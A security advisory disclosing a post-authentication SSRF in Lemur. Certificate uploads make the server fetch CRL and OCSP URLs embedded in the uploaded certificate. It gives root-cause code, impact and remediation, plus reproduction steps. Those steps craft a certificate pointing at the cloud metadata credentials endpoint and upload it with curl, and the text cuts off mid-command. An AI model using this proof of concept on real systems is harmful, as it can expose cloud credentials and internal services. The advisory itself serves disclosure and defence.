Lemur: Crafted CRL/OCSP URLs in uploaded certificates lead to post-authentication SSRF
Summary
When verifying an uploaded certificate, lemur/certificates/verify.py extracts the CRL Distribution Point URL and the OCSP responder URL directly from the certificate's extensions and issues outbound requests to those URLs without scheme restriction or destination allow-listing. An authenticated user holding the operator role (required by StrictRolePermission on POST /certificates/upload) can craft a certificate whose extensions point at internal services - instance metadata endpoints, internal Kubernetes API servers, RFC1918 hosts, link-local addresses - and cause the Lemur host to issue requests against those destinations during verification.
Root Cause
lemur/certificates/verify.py, crl_verify:
```python
point = p.full_name[0].value # URL from CDP extension of uploaded cert
...
response = requests.get(point, timeout=(3.05, 6)) # no allow-list, no destination filter
```
lemur/certificates/verify.py, ocsp_verify:
```python
command = ["openssl", "x509", "-noout", "-ocsp_uri", "-in", cert_path]
p1 = subprocess.Popen(command, stdout=subprocess.PIPE, ...)
url, _ = p1.communicate()
p2 = subprocess.Popen(
["openssl", "ocsp", "-issuer", issuer_chain_path, "-cert", cert_path,
"-url", url.strip()], # attacker-controlled URL
...
)
```
In both code paths the URL flows from attacker-controlled certificate-extension content to a network sink with no validation against an allow-list of hostnames, no scheme restriction beyond rejecting LDAP via InvalidSchema, and no filtering of RFC1918 / link-local (169.254/16) / loopback / IPv6 ULA destinations.
Affected Endpoints
| Method | Path | Source |
|---|---|---|
| POST | /api/1/certificates/upload | verify_string → crl_verify / ocsp_verify |
The bug additionally surfaces anywhere verify_string is invoked on attacker-influenced certificate content (sync paths, source plugin re-validation, etc.). The upload endpoint is the most direct trigger.
Impact
An operator-role attacker can:
- Probe the Lemur host's internal network through outbound CRL/OCSP fetches and infer topology from response timings and error messages.
- On EC2 instances without IMDSv2 enforcement, cause requests to
http://169.254.169.254/ and influence downstream behavior of components that parse the response. - Pin attacker-controlled CRLs into the unbounded module-level
crl_cache dict (see Advisory 4c) for permanent cache poisoning - once cached, a poisoned CRL is served to every subsequent verification for the same URL.
The operator-role precondition reduces severity from what an unauthenticated SSRF would warrant, but operators are still meaningfully less trusted than the host's network position. PKI workflows also routinely process third-party certificates whose extensions are not directly controlled by the operator, broadening the trigger surface beyond purely-malicious operators.
Remediation
Filter the URL before it reaches the network sink. Either:
1. Maintain an explicit allow-list of CRL/OCSP hostnames in configuration (e.g., LEMUR_TRUSTED_CRL_HOSTS and LEMUR_TRUSTED_OCSP_HOSTS) and reject anything outside the list, or
2. Use an SSRF-safe HTTP client wrapper that resolves the destination, rejects RFC1918 / link-local / loopback / IPv6 ULA addresses before connecting, and pins the resolved IP to defeat DNS rebinding.
For OCSP, route the parsed URL through the same wrapper before passing it as -url to openssl ocsp.
Additionally, bound crl_cache (see Advisory 4c) to prevent the SSRF vector from amplifying into a persistent cache-poisoning condition.
Steps to Reproduce
1. Set up Lemur on an EC2 instance with IMDSv1 enabled (or any host with reachable RFC1918 services). Create an admin user and an operator-role user eve.
2. Generate a self-signed certificate whose extensions point at internal services:
```
cat > openssl.cnf <<EOF
[req]
distinguished_name = req_distinguished_name
req_extensions = v3_ca
prompt = no
[req_distinguished_name]
CN = ssrf-poc.example
[v3_ca]
crlDistributionPoints = URI:http://169.254.169.254/latest/meta-data/iam/security-credentials/
authorityInfoAccess = OCSP;URI:http://169.254.169.254/latest/meta-data/
EOF
openssl req -x509 -newkey rsa:2048 -keyout ssrf.key -out ssrf.crt \
-days 365 -nodes -config openssl.cnf -extensions v3_ca
```
3. On the Lemur host, start a packet capture filter for the target address before submitting the cert:
```
sudo tcpdump -nni any host 169.254.169.254
```
4. As eve, upload the malicious certificate:
```
BODY=$(cat ssrf.crt | sed ':a;N;$!ba;s/\n/\\n/g')
curl -X POST https://lemur.local/api/1/certificates/upload \
-H "Authorization: Bearer <eve_jwt>" \
-H "Content-Type: application/json" \
-d "{
